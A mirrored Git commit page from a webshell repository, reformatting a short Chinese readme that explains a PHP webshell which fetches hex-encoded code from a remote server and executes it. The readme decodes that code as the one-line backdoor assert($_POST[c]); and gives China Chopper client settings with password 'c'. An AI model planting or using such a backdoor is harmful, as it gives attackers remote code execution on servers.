mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 21:01:29 +00:00
Update readme.md
This commit is contained in:
@@ -1,7 +1,6 @@
|
|||||||
写了两个脚本webshell.php和getcode.php(本地开了个php server,运行getcode.php模拟远程服务器上的网页)
|
>写了两个脚本webshell.php和getcode.php(本地开了个php server,运行getcode.php模拟远程服务器上的网页)
|
||||||
|
>原理:首先用菜刀访问webshell.php,该webshell立即从远程服务器上获取要运行的代码并执行。
|
||||||
|
>这里获取的代码是61737365727428245f504f53545b635d293b,也就是assert($_POST[c]);
|
||||||
|
>菜刀中设置:http://192.168.1.102/DebugPHP/webshell.php 密码是c
|
||||||
|
|
||||||
原理:首先用菜刀访问webshell.php,该webshell立即从远程服务器上获取要运行的代码并执行。
|
form : http://tank96a.github.io/article/2015/04/27/php-horse/
|
||||||
|
|
||||||
这里获取的代码是61737365727428245f504f53545b635d293b,也就是assert($_POST[c]);
|
|
||||||
|
|
||||||
菜刀中设置:http://192.168.1.102/DebugPHP/webshell.php 密码是c
|
|
||||||
|
|||||||
Reference in New Issue
Block a user